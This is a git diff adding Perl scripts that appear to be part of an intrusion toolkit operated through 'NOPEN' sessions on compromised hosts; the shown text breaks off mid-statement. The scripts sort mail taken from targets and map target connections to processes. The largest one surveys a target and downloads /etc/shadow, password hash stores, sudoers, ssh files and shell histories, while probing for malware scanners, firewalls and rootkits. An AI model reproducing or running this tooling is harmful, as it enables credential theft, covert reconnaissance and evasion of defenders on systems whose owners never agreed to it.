+$VER="1.1" ; +myinit() ; +$| = 1 ; +@sourcefiles = split(/\n/,`find $sourcedir -type f 2>/dev/null`) ; +mydie("No files found in $sourcedir") unless @sourcefiles ; +if ($debug) { + myprint("${COLOR_FAILURE}\n\nFollowing commands WOULD be done without debug mode (note you can paste these):\n\n"); +} else { + select OUT ; +} +foreach (@sourcefiles) { + my $not = "NOT " if $debug ; + if (-s == 0) { + myprint("${COLOR_FAILURE}${not}removing empty file: $_") ; + unlink $_ unless $debug; + next ; + } + if ($checkdupes) { + chomp(my $sum = `sum $_`) ; + if ($sums{$sum}++) { + my $dest = $_ ; + $dest =~ s/.*$nopen_rhostname/$opdir\/removed\/$nopen_rhostname/ ; + myprint("${COLOR_FAILURE}${not}moving duplicate: $_ -> $dest") ; + unless ($debug) { + mkdir dirname($dest) ; + rename ($_,$dest) ; + } + next ; + } + } + $dest{$_} = $_ ; + $dest{$_} =~ s/$opdown\/$nopen_rhostname// ; + $dest{$_} =~ s/\//_/g ; + $dest{$_} =~ s/^_// ; + $dest{$_} = "$maildir/$dest{$_}" ; + print "-lsh mv $_ $dest{$_} -nohist\n"; +} +foreach (split(/\n/,`find $sourcedir -type d 2>/dev/null`)) { + print "-lsh rmdir $_ 2>/dev/null -nohist\n" ; +} +close(OUT) ; +select STDOUT ; +rename("$opetc/gs.movemailnext.$ext","$opetc/gs.movemailnext"); + + +sub mydie { +# myprint("\a${COLOR_FAILURE}@_") if ($nopen_mypid) ; +# sleep 1 ; + rename("$opetc/gs.movemailnext.$ext","$opetc/gs.movemailnext") ; + die("\a${COLOR_FAILURE}@_${COLOR_NORMAL}\n") ; +}#mydie + +sub mywarn { + ($str,$color,$beep) = (@_) ; + unless ($color) { + $beep = "\a" ; + $color = $COLOR_FAILURE ; + } + $beep = "\a" if $beep ; + warn "${color}${beep}$str$COLOR_NORMAL\n" ; +}#mywarn + +sub myprint { + print STDERR "$date @_$COLOR_NORMAL\n"; +}#myprint + +sub myinit { + require "getopts.pl"; + use File::Basename ; + $nopen_mypid = $ENV{NOPEN_MYPID} ; + $nopen_mypid = $$ unless $nopen_mypid ; + $nopen_mylog = $ENV{NOPEN_MYLOG} ; + $nopen_rhostname = $ENV{NOPEN_RHOSTNAME} ; + ($nopen_hostonly) = $nopen_rhostname =~ /(.*)\.\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/ ; + $calledfromnopen = ($nopen_mypid and $nopen_mylog and $nopen_rhostname) ; + $gsoptions = $ENV{GSOPTIONS} ; + $COLOR_SUCCESS="\033[1;32m"; + $COLOR_FAILURE="\033[1;31m"; + $COLOR_WARNING="\033[1;33m"; + $COLOR_NORMAL="\033[0;39m"; + $COLOR_NOTE="\033[0;34m"; + $opdir = "/current" ; + $tmpdir = $opdir ; + $opetc = "$opdir/etc" ; + $opdown = "$opdir/down" ; + $opbin = "$opdir/bin" ; + $maildir = "$opdown/mailpull/$nopen_rhostname" ; + $dupedir = "$opdir/removed/mailpull/$nopen_rhostname" ; + mkdir $maildir ; + mkdir $dupedir ; + $prog = "-gs movemail" ; + $vertext = "$prog version $VER\n" ; + $ext = "$$" ; + usage("bad option(s)") if (! Getopts( "hvdU" ) ) ; + $checkdupes = ! $opt_U ; + $debug = $opt_d ; + $usagetext=" +Usage: $prog $opdown/$nopen_rhostname/source/dir + +OPTIONS + + -d Debug mode--do not move any files only show what would be moved. + -U Allow duplicate files to all be moved. Default moves one unique + copy and removes the rest. + +$prog moves unique non-empty files from: + + $opdown/$nopen_rhostname/source/dir/path/to/file + +to: + + $maildir/source_dir_path_to_file + +There is no default source directory, and the source directory given +must be a subdirectory of $opdown/$nopen_rhostname. + +Empty and duplicate files in the source directory are eliminated. + +" ; + unlink("$opetc/gs.movemailnext") ;# clean slate + if (open(OUT,"> $opetc/gs.movemailnext.$ext")) { + print OUT ("#NOGS\n") ; + } else { + usage() if ($opt_h or $opt_v) ; + mydie("Unable to open >> $opetc/gs.movemailnext.$ext"); + } + usage() if ($opt_v or $opt_h ); + $sourcedir = "@ARGV" ; + mydie("No local directory provided") unless $sourcedir ; + mydie("No such local directory $sourcedir") unless + (-d $sourcedir) ; +}#myinit + +sub usage { + print "\nFATAL ERROR: @_\n" if ( @_ ); +# $usagetext = $gsusagetext if ($nopen_mypid) ; + print $usagetext unless $opt_v ; + print $vertext ; + print "\nFATAL ERROR: @_\n" if ( @_ ); + rename("$opetc/gs.movemailnext.$ext","$opetc/gs.movemailnext") unless (@_) ; + exit; +} #usage + diff --git a/Linux/etc/autonetstatp b/Linux/etc/autonetstatp new file mode 100755 index 0000000..d7e6e25 --- /dev/null +++ b/Linux/etc/autonetstatp @@ -0,0 +1,339 @@ +#!/usr/bin/env perl + +$VER="1.0.0.3"; +$| = 1; + +my $show_tcp = 1; +my $show_udp = 1; + + +my $netstat = ""; +my $pfiles = ""; +myinit(); + +my @pslist = (); +my %psnetmap = (); # contains port/pid mapping for local side of connections +my %psnetmap_remote = (); # contains port/pid mapping for remote side of connections +my %procname = (); # Procname per pid +my @checkbins = (); +foreach my $remotecmd (@checkbins = + ( + "netstat", + "pfiles", + )) { + last if ($remotecmd eq "pfiles" and $linuxtarget); + my ($shelloutput) = nopenlss("-PQ",$remotecmd); + mydie(" + +shelloutput = $shelloutput = + +Cannot continue, required remote command ($remotecmd) not available.\n". + "Consider adding to your PATH with -addpath so $prog can find it.") + unless ($shelloutput =~ m,[l-]r.x.*/$remotecmd,); +} + + +my $egrep = ""; +if ($g_regexp or $V_regexp) { + $egrep = " | egrep$insensitive \"$g_regexp\"" if $g_regexp; + $egrep = " | egrep$insensitive -v \"$V_regexp\"" if $V_regexp; +} + + +if ($solaristarget) { + # run a netstat on target and save the output + doit("netstat -an > L:$nettmpfile"); + @netlines = split(/\n/, `cat $nettmpfile`); + + # run pfiles on each pid, grep'ing for socket info + # doit("cd /proc; for pid in [0-9]*; do [ \$pid -lt 2 ] && continue; echo \"\$pid\"; pfiles \$pid ; done > L:$pfilesfile"); + doit("cd /proc; for pid in [0-9]*; do [ \$pid -lt 2 ] && continue; pfiles \$pid ; done > L:$pfilesfile"); + @pflines = split(/\n/, `cat $pfilesfile |egrep "^[0-9]|AF_INET"`); + + $curr_pid = ""; + + # Goes through each line of the pfiles output, populating the hashes + # with the port as the key and a list of (pid,address) as the value. + foreach $pfline (@pflines) { + + if ($pfline =~ /^(\d{1,5}):\s*(.*)/) # line with the pid + { + $curr_pid = $1; + $curr_name = $2; + $procname{$curr_pid} = $curr_name; + } elsif ($pfline =~ /sockname: AF_INET6? ([\S]+) +port: (\d{1,5})/) # local connection line + { + $addr = $1; + $port = $2; + + if (exists $psnetmap{$port}) { + $pids_ptr = $psnetmap{$port}; + @pids = @$pids_ptr; + push(@pids, "$curr_pid,$addr"); + $psnetmap{$port} = [@pids]; + } else { + $psnetmap{$port} = ["$curr_pid,$addr"]; + } + } elsif ($pfline =~ /peername: AF_INET6? ([\S]+) +port: (\d{1,5})/) # remote connection line + { + $addr = $1; + $port = $2; + + if (exists $psnetmap_remote{$port}) { + $pids_ptr = $psnetmap_remote{$port}; + @pids = @$pids_ptr; + push(@pids, "$curr_pid,$addr"); + $psnetmap_remote{$port} = [@pids]; + } else { + $psnetmap_remote{$port} = ["$curr_pid,$addr"]; + } + } + } + + # remove duplicate pids in hash table + foreach $key (keys %psnetmap) { + $list_ptr = $psnetmap{$key}; + @list = @$list_ptr; + + undef %h; + @h{@list} = (); + @list = sort(keys %h); + + $psnetmap{$key} = [@list]; + } + + # remove duplicate pids in hash table + foreach $key (keys %psnetmap_remote) { + $list_ptr = $psnetmap_remote{$key}; + @list = @$list_ptr; + + undef %h; + @h{@list} = (); + @list = sort(keys %h); + + $psnetmap_remote{$key} = [@list]; + } + + $section = ""; + + open OUT, ">$psnetmapfile"; + printf(OUT " \n%5s %21s %21s %11s %7s:%s\n", "Proto", "Local Address", "Foreign Address", "State", "PID","PROGRAM NAME"); + + # Go through each line if the netstat output, writing the reformatted + # line with the related PID from the port-to-pid hash table. + foreach $line (@netlines) { + chomp $line; + + if ($line =~ /^UDP: IPv4.*$/) { + $section = "udp"; + } + if ($line =~ /^UDP: IPv6.*$/) { + $section = "udp6"; + } elsif ($line =~ /^TCP: IPv4.*$/) { + $section = "tcp"; + } elsif ($line =~ /^TCP: IPv6.*$/) { + $section = "tcp6"; + } elsif ($line =~ /^.*\.\d{1,5} .*/) # at a line showing a connection + { + # remove leading spaces + $line =~ s/^ +//; + + if ($show_udp && ($section eq "udp" || $section eq "udp6")) { + @conn = split(/ +/, $line); + @conn = ($section, $conn[0], "*:*", $conn[1]); + + $conn[1] =~ s/\*\./0.0.0.0./; + @local_ip = split(/\./, $conn[1]); + $conn[1] = "$local_ip[0].$local_ip[1].$local_ip[2].$local_ip[3]:$local_ip[4]"; + $loc_port = $local_ip[4]; + + $conn[2] =~ s/\*\./0.0.0.0:/; + + $pid_list_ptr = $psnetmap{$loc_port}; + @pid_list = @$pid_list_ptr; + + for ($i = 0; $i < @pid_list; $i += 1) { + @tmp_arr = split(/,/, $pid_list[$i]); + $pid_list[$i] = $tmp_arr[0]; + } + + undef %h; + @h{@pid_list} = (); + @pid_list = sort(keys %h); + $pids_str = sprintf("%7s",$pid_list[0]); + $pids_str .= ":".$procname{shift @pid_list} + if $procname{$pid_list[0]}; + foreach (@pid_list) { + $pids_str .= ",$_"; + $pids_str .= ":$procname{$_}" + if $procname{$_}; + } + #$pids_str = join(",", @pid_list); + + printf(OUT "%5s %21s %21s %11s %s\n", @conn, $pids_str); + } elsif ($show_tcp && ($section eq "tcp" || $section eq "tcp6")) { + @conn = split(/ +/, $line); + @conn = ($section, $conn[0], $conn[1], $conn[6]); + + $conn[1] =~ s/\*\./0.0.0.0./; + @local_ip = split(/\./, $conn[1]); + $conn[1] = "$local_ip[0].$local_ip[1].$local_ip[2].$local_ip[3]:$local_ip[4]"; + $loc_port = $local_ip[4]; + + $conn[2] =~ s/\*\./0.0.0.0./; + @remote_ip = split(/\./, $conn[2]); + $conn[2] = "$remote_ip[0].$remote_ip[1].$remote_ip[2].$remote_ip[3]:$remote_ip[4]"; + $rem_port = $remote_ip[4]; + $pids_str = ""; + + if ($conn[2] =~ /^0.0.0.0/) # at a line with no remote side + { + $pid_list_ptr = $psnetmap{$loc_port}; + @pid_list = @$pid_list_ptr; + + for ($i = 0; $i < @pid_list; $i += 1) { + @tmp_arr = split(/,/, $pid_list[$i]); + if ($tmp_arr[1] eq "0.0.0.0" || $tmp_arr[1] eq "::") { + + $pids_str = sprintf("%7s",$tmp_arr[0]); + $pids_str .= ":".$procname{@tmp_arr[0]} + if $procname{$tmp_arr[0]}; + } + } + } else # at a connection line + { + $pid_list_ptr = $psnetmap_remote{$rem_port}; + @pid_list_rem = @$pid_list_ptr; + + for ($i = 0; $i < @pid_list_rem; $i += 1) { + @tmp_arr = split(/,/, $pid_list_rem[$i]); + $pid_list_rem[$i] = $tmp_arr[0]; + } + + $pid_list_ptr = $psnetmap{$loc_port}; + @pid_list_loc = @$pid_list_ptr; + + for ($i = 0; $i < @pid_list_loc; $i += 1) { + @tmp_arr = split(/,/, $pid_list_loc[$i]); + $pid_list_loc[$i] = $tmp_arr[0]; + } + + @pid_list = (); + + # Of the pids in the list, find the ones where the + # local and remote ports match between the two lists. + for ($i = 0; $i < @pid_list_rem; $i += 1) { + for ($j = 0; $j < @pid_list_loc; $j += 1) { + if ($pid_list_rem[$i] eq $pid_list_loc[$j]) { + push(@pid_list, $pid_list_rem[$i]); + } + } + } + + # remove duplicate pid from list + undef %h; + @h{@pid_list} = (); + @pid_list = sort(keys %h); + $pids_str = sprintf("%7s",$pid_list[0]); + $pids_str .= ":".$procname{shift @pid_list} + if $procname{$pid_list[0]}; + foreach (@pid_list) { + $pids_str .= ",$_"; + $pids_str .= ":$procname{$_}" + if $procname{$_}; + } + + # $pids_str = join(",", @pid_list); + } + + printf(OUT "%5s %21s %21s %11s %s\n", @conn, $pids_str); + } + } + } + + close OUT; + doit("-lsh cat $psnetmapfile$egrep"); +} elsif ($linuxtarget) { + # why can't solaris do this + my $u = "u" if $show_udp; + my $t = "t" if $show_tcp; + doit("netstat -pan$t$u$egrep"); +} else { + mydie("Script not supported for this OS (Linux/Solaris only)"); +} + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + # $calleddirect is set if + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs netpid @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs netstatp" ; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless $nopen_rhostname; + } + $nettmpfile = "$opdown/netstat.$nopen_rhostname"; + $pstmpfile = "$opdown/ps.$nopen_rhostname"; + $psnetmapfile = "$opdown/psnetmap.$nopen_rhostname"; + $pfilesfile = "$opdown/pfiles.$nopen_rhostname"; + preservefile( + $nettmpfile, + $pstmpfile, + $psnetmapfile, + $pfilesfile, + ); + + mydie("bad option(s)") if (! Getopts( "htug:V:i" ) ) ; + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session via when \"$prog\" is used. + +"; + $gsusagetext="Usage: $prog [-t] [-u] + +$prog shows what netstat connections are connected with which PIDS. +On Linux, it does so with a simple \"netstat -pantu\" command. +On Solaris, it uses a combination of \"netstat -an\" and a loop running +pfiles against every PID greater than one. + +The working files created on Solaris will be saved in $opdown as: + + $opdown/netstat.\$nopen_rhostname + $opdown/ps.\$nopen_rhostname + $opdown/psnetmap.\$nopen_rhostname + + OPTIONS + -h prints this usage statement + -g expr show only output matching this expr + -V expr show only output NOT matching this expr + -i case insensitive -g/-V + -t show only tcp connections + -u show only udp connections +"; + + usage() if ($opt_h); + $show_tcp = $opt_t; + $show_udp = $opt_u; + $g_regexp = $opt_g; + $V_regexp = $opt_V; + $insensitive = " -i" if $opt_i; + $show_tcp = $show_udp = 1 + unless ($show_tcp or $show_udp); + + $socket = pilotstart(quiet) unless $socket; + +} #myinit diff --git a/Linux/etc/autonewdone b/Linux/etc/autonewdone new file mode 100755 index 0000000..f811083 --- /dev/null +++ b/Linux/etc/autonewdone @@ -0,0 +1,926 @@ +#!/usr/bin/env perl +# +# 20090406 - This version of autodone is far simpler and massively +# different than its predecessor. The previous one was a collected +# mishmash of varying levels of coder skill, automation and other +# stuff, thrown together into a single blob. This version of autodone +# is just the portion that surveys the system and generates the hostinfo* +# files. +# +$VER="2.0.2.22" ; +$ext = $$ ; # limits likelihood of concurrent autodone's colliding + # BUT: still possible. + # not too likely to happen. + +$| = 1; +myinit() ; +# promptkill puts itself into /usr/local/bin if none or an older one is there +# so this makes sure /usr/local/bin is current even if promptkill does not get +# used this op +`$opbin/promptkill -v` if (-x "$opbin/promptkill"); + +# following is first time autonext is used without $$ extension--fewer collisions? +# In case this is there from previous run, we save it as .NNNN +preservefile("$opdown/hostinfo.$nopen_rhostname") unless $autonohostinfo; + +my @autoargv = (); +if ((-e "$optmp/autonewdone.$nopen_rhostname" or -e "$optmp/autodont") and + (!$redo and !$autonohostinfo)) { + myalert("autonewdone has already completed on this target. Use -gs auto FORCE [SHORT] $gsoptions to re-do it."); +} else { + dosurvey(); +} + +# End with true value as we require this script elsewhere. +1; + +sub dosurvey { + # Set these files aside as .old if they exist + preservefile ("$opdown/rpcinfo.$nopen_rhostname", + "$opdown/ls_etc-ct.$nopen_rhostname", + ); + + # Are we on a first hop? + ($output,$nopenlines,@firsthops) = doit("-lsh didthis | grep noclient | grepip"); + my $firstin = 0; + foreach my $ip (@firsthops) { + $firstin++ if $ip eq $nopen_myip; + last if $firstin; + } + + myalert("NOLOGGING","BEGIN running $opetc/autonewdone on $nopen_rhostname output in $nopen_mylog (v.$VER)"); + system("touch $optmp/autonewdone.INPROGRESS.$targetpid"); + + # Write out the nopen_auto.$nopen_mypid file that yells if we didn't finish a run. + open(YELLPROMPT, "> $optmp/.gsyell.$nopen_rhostname.$nopen_mypid") or myalert("Can't create warning text! $!"); + print YELLPROMPT "${COLOR_FAILURE}\n". + "WARNING: AUTONEWDONE IS NOT FINISHED! WARN SOMEONE!${COLOR_NORMAL}\n\n\n". + "This should not happen. Please report this now\n". + "(yes, now...in person...go....shoo!).\n\n". + "You can hit return here to get your window back, though.\n\n"; + print YELLPROMPT "${COLOR_FAILURE}\n". + "WARNING: AUTONEWDONE IS NOT FINISHED! WARN SOMEONE!${COLOR_NORMAL}\n\n\n"; + close(YELLPROMPT); + open(GSYELL, "> $opetc/nopen_auto.$nopen_mypid") or myalert("Can't create warning script! $!"); + print GSYELL "#NOGS\n"; + print GSYELL "-lsh -nohist rm -f $optmp/.gsyell.out.$nopen_mypid\n"; + print GSYELL "-lsh -nohist test -f $optmp/autonewdone.$nopen_rhostname || ". + "$opetc/autogetinput -O $optmp/.gsyell.out.$nopen_mypid -P $optmp/.gsyell.$nopen_rhostname.$nopen_mypid\n"; + print GSYELL "-lsh -nohist rm -f $optmp/.gsyell.$nopen_rhostname.$nopen_mypid\n"; + print GSYELL "-lsh -nohist rm -f $optmp/autonewdone.INPROGRESS.$targetpid\n"; + close(GSYELL); + + # Begin running the actual autonewdone commands. + doit("-lsh date -u"); + mydo("autodoproject"); + doitwrite("\\hostname", + "more /etc/hostname* ; echo", + "domainname", + "cat /etc/syslog.conf ; echo", + ); + preservefile("$optmp/.syslog.$nopen_rhostname"); + doit("-lsh grep -v \\\"^#\\\" $optargetcommands/${nopen_rhostname}_cat__etc_syslog.conf >> T:$optmp/.syslog.$nopen_rhostname"); + + # New 20060426: We look in + my $hackdirs = "@hackdirs"; + $hackdirs =~ s/ /,/g; + my $extrapscheckarg = "-D" ; + if ($nopen_serverinfo =~ /linux/i) { + $extrapscheckarg = "-s" ; # no sorting needed for linux + } + $hackdirs = ""; + dbg("hackdirs=(@hackdirs)"); + @autoargv = ($extrapscheckarg); + foreach (@hackdirs) { + next unless length $_; + push(@autoargv,$_); + $hackdirs .= " $_/*"; + } + dbg("hackdirs=$hackdirs"); + if (!$freebsdtarget and (!(-e "$optmp/hacksums.$nopen_rhostname"))) { + doit("-ls -n -R /bin/ps /bin/netstat $hackdirs >> T:$optmp/hacksums.$nopen_rhostname", + "-ls -u -R /bin/ps /bin/netstat $hackdirs >> T:$optmp/hacksums.$nopen_rhostname", + "-sha1sum /bin/ps /bin/netstat $hackdirs >> T:$optmp/hacksums.$nopen_rhostname", + ); + } else { + # Just do /bin/ps and /bin/netstat, and don't save them... + unless ($freebsdtarget || $darwintarget) { + doit("-ls -n /bin/ps /bin/netstat", + "-ls -u /bin/ps /bin/netstat", + "-sha1sum /bin/ps /bin/netstat", + ); + } elsif ($freebsdtarget) { + doit("-ls -n /bin/ps /usr/bin/netstat", + "-ls -u /bin/ps /usr/bin/netstat", + "-sha1sum /bin/ps /usr/bin/netstat", + ); + } elsif ($darwintarget) { + doit("-ls -n /bin/ps /usr/sbin/netstat", + "-ls -u /bin/ps /usr/sbin/netstat", + "-sha1sum /bin/ps /usr/sbin/netstat", + ); + } + } + +# # Check for the existence of the libX.a rootkit and the rps and netstat binaries. +# if ($solaristarget) { +# my ($libXoutput,$nopenlines,@libXoutput) = +# nopenlss("-UF","-g .*/rps\$\|.*/netstat\$","/usr/lib/libX.a/bin"); +# my ($foundrps) = grep m, /.*/rps$, , $libXoutput; +# my ($foundnetstat) = grep m, /.*/netstat$, , $libXoutput; +# if ($libXoutput && ($foundrps || $foundnetstat)) { +# myalert("The libX.a rootkit is present!! ". +# "Reconfiguring this (and future) NOPEN session(s) to use undorked binaries"); +# $allwindows = 1; +# nopenaddpath("/usr/lib/libX.a/bin"); +# nopenaddalias("=ps","rps -ef",0); + +# # Reinitialize our session and reset the pscommand file, if it exists. +# mydo("autosessioninit","reinit"); +# if ( -e "$optmp/pscommand.$nopen_rhostname") { +# unlink("$optmp/pscommand.$nopen_rhostname"); +# } +# } +# } + + +# doit("=autorpc > L:$opdown/rpcinfo.$nopen_rhostname"); +# my ($output) = doit("=autorpc"); +# writefile("$opdown/scan_brpc_$nopen_rhostname",$output); + + + + my (undef,$netstatfile) = doitwrite("ARRAY","netstat -an","netstat -rn"); + + if ($aixtarget) { + logdoit("netstat -in"); + } + + # TODO: Parse this rpcinfo output in $rpcoutputfile, make a new copy like + # how -scan rpc looks (more detail) + my (undef,$rpcoutputfile) = doitwrite("ARRAY","rpcinfo -p"); + +# TODO: Could not get to work, why not? +# offerabort("DBG:WTF"); +# if ($solaristarget or $linuxtarget) { +# mydo("autopscolor","-pt"); +# sleep 3; +# offerabort("DBG:WTF DONE"); +# } + + + mydo("autopscheck","autodone"); + + tickleifneedbe($builtinsonly); + + # Symantec Critical System Protection (SCSP) + # On Windows/AIX/Linux/Solaris + # NOTE: Other collects in autonewdone done this way with a recursive + # listing of /etc/ will reuse this listing, saving a bit of target time. + # But be sure you use "/etc/" and not "/etc", which will be re-listed. + # cxs: Config Exploit Scanner (see also autopscheck) + # lfd: linux firewall daemon + # csf: ConfigServer firewall + + my ($sec,$min,$hr,$mday,$mon,$year,$wday,$yday,$isdst) = gmtime(); + $year += 1900 unless $year > 1900; + # $mon is zero based, $mon-1 is 60 days worth + my $xmtime = sprintf("%02d-%02d-%02d",$mon-2,$mday,$year); + ($newdoneoutput,$nopenlines,@newdoneoutput) = + nopenlss("-RG${nopenlssreget}YUFM100000", + "-btail", + "-gsisips,,grub.conf,,lfd,,csf,,cxs,,hostname,,nsswitch.conf", + #"-gsisips,,grub.conf,,lfd,,csf,,cxs,,hostname,,nsswitch.conf,,motd,,syslog.*conf,,inetd.conf,,resolv.conf", + "-xm",$xmtime, + "/etc", + "/var/log", + "/var/adm", + ); + # More gets, grepping same listing returned in above (no -U here, so not re-listed) + + ($newdoneoutput,$nopenlines,@newdoneoutput) = + nopenlss("-RG${nopenlssreget}YFM100000", + "-btail", + "-gshadow,,passwd,,hosts,,motd,,syslog.*conf,,inetd.conf,,resolv,conf,,selinux/config,,release,,redhat,,debian,,issue,,slack.*version,,spwd.db,,sudoers,,/ssh,,lfd.log,,security/audit_control", + "/etc", + "/private/etc", # MacOS + "/var/log", + "/var/adm", + ); + + + ($newdoneoutput,$nopenlines,@newdoneoutput) = + nopenlss("-RG${nopenlssreget}YFM300000", + "-ghttpd.conf", + "/usr/local/apache/conf/", + ); + + + tickleifneedbe($builtinsonly); + + #($newdoneoutput,$nopenlines,@newdoneoutput) = + #nopenlss("-btail","-RG${nopenlssreget}YUFM1000000", + # "/var/*/lfd.log*", + # ); + + + # MALDETECT: running as lmd or maldet + ($output) = doit("-ls -d /usr/local/maldetect* /usr/local/maldetect/VERSION*"); + ($output) = doit("-ls -d /opt/maldetect* /opt/maldetect/VERSION*") unless $output; + if ($output) { + ($newdoneoutput,$nopenlines,@newdoneoutput) = + nopenlss("-RG${nopenlssreget}YUFM100000","-gignore,,conf,,event_log,,VERSION", + "/usr/local/maldetect*","/opt/maldetect*", + ); + } + +# ($output) = doit("-ls -d /etc/*cxs* /etc/*lfd* /etc/*csf* /var/log/*cxs* /var/log/*csf*"); +# ($output) = doit("-ls -d /var/log/*cxs* /var/log/*csf*"); +# if ($output) { +# ($newdoneoutput,$nopenlines,@newdoneoutput) = +# nopenlss("-RG${nopenlssreget}YUFM100000", +# #Never mind the -g matches, gank it all +# "-gconf,,cfg,,ini", +# "/etc/*cxs*", +# "/var/log/*cxs*log", +# "/etc/*lfd*", +# "/etc/*csf*", +# ); +# } +# + + # So much simpler! +# ($newdoneoutput,$nopenlines,@newdoneoutput) = +# nopenlss("-GR${nopenlssreget}YUFM100000","-gshadow", +# "/etc/tcb/", +# ); + + ($newdoneoutput,$nopenlines,@newdoneoutput) = + nopenlss("-G${nopenlssreget}YUFM100000", + "/usr/local/cpanel/version", + # /etc stuff now got on recursive /etc nopenlss above (at about line 178==26%) + #"/etc/nsswitch.conf", + #"/etc/hostname", + #"/etc/hosts*", + #"/etc/motd*", + #"/etc/inet/hosts*", + #"/etc/syslog.conf", + #"/etc/inetd.conf", + #"/etc/inet/inetd.conf", + #"/etc/resolv.conf", + #"/etc/passwd*", + #"/etc/shadow*", + #"/etc/master.passwd*", + #"/etc/security/passwd*", + #"/root/.*history", + "/.*history", + "/export/.*history*", + ); + + ($newdoneoutput,$nopenlines,@newdoneoutput) = + nopenlss("-G${nopenlssreget}YUFM100000", +# nopengetfiles("SIZEMAX=5000 GETZERO=1", + #"/etc/selinux/config", + #"/etc/*release*", + #"/etc/*redhat*", + #"/etc/*debian*", + "/usr/lib/setup/*slack*version*", + #"/etc/*slack*version*", + #"/etc/*issue*", + ) unless ($freebsdtarget); + + + + # NEW: Grab platform specific stuff + if ($freebsdtarget) { + # FreeBSD-specific. This stinks, until bugs are fixed. + ($newdoneoutput,$nopenlines,@newdoneoutput) = + nopenlss("-G${nopenlssreget}YUFM100000", + #"/etc/spwd.db*", # passwd hashes + "/var/etc/hosts", + ); + } elsif ($darwintarget) { + ($newdoneoutput,$nopenlines,@newdoneoutput) = + nopenlss("-G${nopenlssreget}YUFM100000", +# nopengetfiles("SIZEMAX=100000 GETZERO=1", + "/Users/*/.*history*", + "/var/root/.*history*", + # These are for MacOS/Darwin: + "/private/var/db/shadow/*", + "/var/db/shadow/*", + ); + } elsif ($hpuxtarget) { + # Password crypts + nopenlss("-G${nopenlssreget}YUFM10000", + "/tcb/files/auth", + ); + doitwrite( + "swlist", + "/usr/contrib/bin/machinfo", # Not on all HPUX thats ok + "model", + "getconf _CS_MACHINE_IDENT", + ) unless ($builtinsonly); + } + + # This code replaces autogettail. + my @getthese = ("/var/adm/sulog", + "/var/log/sulog", + #"/etc/*sudoers*", + + ); + push(@getthese,"/var/adm/syslog.dated/current/auth.log") if ($nopen_serverinfo =~ /osf/); + ($newdoneoutput,$nopenlines,@newdoneoutput) = +# nopengetfiles("SIZEMAX=16384 GETZERO=1 TAILBYTES", + nopenlss("-btail","-G${nopenlssreget}YUFM16384", + @getthese, + ); +# doit("-lsh rm -f `find $opdown/$nopen_rhostname -name \\\"*.tail\\\" -o -name \\\"*.tail.[0-9]*\\\" -empty -print`"); +# @autoargv = ("/var/adm/sulog","/var/log/sulog"); +# push(@autoargv,"$moreauthlogs") if defined $moreauthlogs; +# foreach $file (@autoargv) { +# doit("-tail -nohist -200 $file"); +# } +# @autoargv = (); + + # Set up to collect .netrc files. + #my ($userlist,@userdirs) = parseuserdirs($nopen_rhostname,2000,"autonewdone"); + #@getfiles = (); + #my $maxsize = 32768; + #foreach my $dir (@userdirs) { + # push(@getfiles, +# "$dir/.netrc", +# ); + #} + #nopengetfiles("SIZEMAX=$maxsize GETZERO=1", @getfiles); + + doit("-getenv", + ); + doitwrite( + "=locale", + ); + + doitwrite("cat /etc/coreadm.conf ; echo") unless !($solaristarget); + # The Solaris one is in the autodothis section below. + doitwrite("=procinfo") unless ($freebsdtarget or $solaristarget); + + mydo("autodfcheck","autodone"); + + my $datez = "%z"; + $datez = "%Z" if $solaristarget; + + my ($output) = doit("date \"+%a, %d %b %Y %H:%M:%S $datez\""); + writefile("$opdown/date-rfc2822.$nopen_rhostname",$output); + + # Run the autodothis stuff in here. + my $statsfile = "$opdown/${targetplatform}stats.cmdout.$nopen_rhostname"; + preservefile($statsfile); + open(CMDOUT,">$statsfile"); + + unless ($solaristarget) { + logdoit("mount", + "cat /proc/mounts"); + } + if ($solaristarget) { + my $zfssnapshot = 0; + ($output) = doit("-ls /.zfs/snapshot"); +# if ($zfssnapshot) { +# $zfssnapshot =~ s,([\r\n]),$1Tool Comments: ,g ; +# $toolcomment .= " ZFS snapshot exists:\nTool Comments: $zfssnapshot"; +# } + + + logdoit( + #"prtvtoc `df -lk /|tail -1|awk '{print \$1}'`", +# "df -lk /|tail -1|cut -d' ' -f1", + "-ls -R /var/crash", + ); + # Only run these commands if we are on an INCISION host, based + # on the hidden directory matching either INCISION directory. + if ($host_hiddendir =~ /^\/platform\/.*/) { + unless ($host_hiddendir and $hiddendir_viastoic) { + mydo("autoorcheck","-i"); + mydo("autopccheck","-i"); + } + } + + logdoit("iostat -E", + "vmstat", + "=procinfo", + "psrinfo -vp", + "isalist", + ); + ($newdoneoutput,$nopenlines,@newdoneoutput) = + nopenlss("-RG${nopenlssreget}YFM100000", + "-btail", + "-g/etc/ipf,,/etc/*/ipf,,/etc/zones,,/etc/system,,/etc/logadm.conf", + "/etc", + "/var/log", + "/var/adm", + ); +# my ($loc1,$loc2) = gotlocalcopy("/etc/system"); +# foreach my $loc ($loc1,$loc2) { +# next if ($doneloc{$loc}++); +# if (-s $loc) { +# doit("-lsh cat $loc | egrep -v \"^\$|^\*\""); +# } +# } +# ($loc1,$loc2) = gotlocalcopy("/etc/logadm.conf"); +# foreach my $loc ($loc1,$loc2) { +# next if ($doneloc{$loc}++); +# if (-s $loc) { +# doit("-lsh cat $loc | egrep -v \"^\$|^\#\""); +# } +# } + + + my $justgot = `cd $opdown/$nopen_rhostname ; ls -alrtR etc/system* etc/logadm.conf* etc/ipf* etc/zones* 2>/dev/null`; + print CMDOUT "\n\nJust downloaded the following:\n\n$justgot\n" + if ($justgot); + + } elsif ($darwintarget) { + my %diskutilsdone = (); + foreach my $line (readfile("ARRAY","$optargetcommands/mount*")) { + my ($subdisk,$disk) = $line =~ m,^\s*((/dev/disk\d+)\S+\d+),; + logdoit("diskutil info $subdisk") if ($subdisk and not $diskutilsdone{$subdisk}++); + logdoit("diskutil info $subdisk") if ($disk and not $diskutilsdone{$disk}++); + } + } elsif 